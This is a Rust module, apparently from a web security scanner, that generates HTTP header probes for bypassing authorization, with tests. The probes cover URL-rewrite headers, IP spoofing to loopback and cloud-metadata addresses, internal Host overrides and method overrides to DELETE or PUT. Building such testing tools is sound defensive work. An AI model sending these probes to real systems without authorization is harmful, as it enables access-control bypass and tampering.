#[derive(Debug, Clone, PartialEq, Eq)]
pub struct AuthBypassProbe {
pub header: String,
pub value: String,
pub label: &'static str,
pub description: &'static str,
}
#[must_use]
pub fn auth_bypass_probes(target_path: &str) -> Vec<AuthBypassProbe> {
let mut out = Vec::new();
for header in [
"X-Original-URL",
"X-Rewrite-URL",
"X-Override-URL",
"X-HTTP-Destination",
"Original-URL",
"X-Forwarded-Path",
] {
out.push(AuthBypassProbe {
header: header.to_string(),
value: target_path.to_string(),
label: "url-rewrite-header",
description: "WAF passes header through; backend rewrites URL to target",
});
}
let trusted_ips = [
"127.0.0.1",
"::1",
"localhost",
"10.0.0.1",
"192.168.0.1",
"172.16.0.1",
"169.254.169.254", ];
let ip_headers = [
"X-Forwarded-For",
"X-Real-IP",
"X-Originating-IP",
"X-Client-IP",
"X-Remote-IP",
"X-Remote-Addr",
"Forwarded", "True-Client-IP", "CF-Connecting-IP",
"Fastly-Client-IP",
"X-Cluster-Client-IP",
"Client-IP",
];
for h in ip_headers {
for ip in trusted_ips {
let value = if h.eq_ignore_ascii_case("Forwarded") {
format!("for={ip}")
} else {
ip.to_string()
};
out.push(AuthBypassProbe {
header: h.to_string(),
value,
label: "ip-trust-spoof",
description: "Backend trusts header for IP-based authorization",
});
}
}
for h in ["X-Forwarded-Host", "X-Host", "X-Forwarded-Server", "Host"] {
for v in ["localhost", "internal", "admin.internal", "127.0.0.1"] {
out.push(AuthBypassProbe {
header: h.to_string(),
value: v.to_string(),
label: "host-trust-override",
description: "Origin uses header for vhost/internal-call routing",
});
}
}
for value in ["PUT", "DELETE", "PATCH", "POST", "PROPFIND", "TRACE"] {
for h in [
"X-HTTP-Method-Override",
"X-HTTP-Method",
"X-Method-Override",
"_method", ] {
out.push(AuthBypassProbe {
header: h.to_string(),
value: value.to_string(),
label: "method-override",
description: "Origin honours header to switch HTTP method (GET → PUT/DELETE)",
});
}
}
for h in ["X-Forwarded-Proto", "X-Forwarded-Scheme", "X-Url-Scheme"] {
for v in ["http", "https"] {
out.push(AuthBypassProbe {
header: h.to_string(),
value: v.to_string(),
label: "scheme-trust",
description: "Origin uses header to decide HTTPS-only enforcement",
});
}
}
out
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn url_rewrite_family_targets_user_path() {
let probes = auth_bypass_probes("/admin/users");
let rewrite = probes
.iter()
.filter(|p| p.label == "url-rewrite-header")
.collect::<Vec<_>>();
assert!(rewrite.len() >= 6, "missing rewrite-header variants");
for p in rewrite {
assert_eq!(
p.value, "/admin/users",
"{} did not carry user path",
p.header
);
}
}
#[test]
fn x_original_url_present() {
let probes = auth_bypass_probes("/admin");
assert!(
probes
.iter()
.any(|p| p.header == "X-Original-URL" && p.value == "/admin"),
"missing canonical X-Original-URL probe"
);
}
#[test]
fn ip_trust_includes_loopback_and_metadata() {
let probes = auth_bypass_probes("/x");
let ip = probes
.iter()
.filter(|p| p.label == "ip-trust-spoof")
.collect::<Vec<_>>();
assert!(ip.iter().any(|p| p.value == "127.0.0.1"));
assert!(ip.iter().any(|p| p.value == "169.254.169.254"));
assert!(
ip.iter()
.any(|p| p.header.eq_ignore_ascii_case("Forwarded") && p.value.starts_with("for="))
);
}
#[test]
fn method_override_offers_destructive_methods() {
let probes = auth_bypass_probes("/x");
let methods: Vec<&str> = probes
.iter()
.filter(|p| p.label == "method-override")
.map(|p| p.value.as_str())
.collect();
for m in ["PUT", "DELETE", "PATCH"] {
assert!(methods.contains(&m), "method {m} not in override probes");
}
}
#[test]
fn forwarded_host_includes_internal() {
let probes = auth_bypass_probes("/x");
assert!(
probes.iter().any(|p| p.header == "X-Forwarded-Host"
&& (p.value == "localhost" || p.value == "internal"))
);
}
#[test]
fn no_probe_has_empty_header_or_value() {
for p in auth_bypass_probes("/x") {
assert!(!p.header.is_empty(), "empty header in probe");
assert!(!p.value.is_empty(), "empty value in probe: {p:?}");
}
}
#[test]
fn probes_have_unique_header_value_pairs() {
let probes = auth_bypass_probes("/admin");
let mut seen = std::collections::HashSet::new();
for p in &probes {
let key = (p.header.to_lowercase(), p.value.clone());
assert!(
seen.insert(key.clone()),
"duplicate (header, value) pair: {key:?}"
);
}
}
#[test]
fn total_probe_count_locked() {
let probes = auth_bypass_probes("/x");
assert_eq!(probes.len(), 136, "auth_bypass_probes count drift");
}
}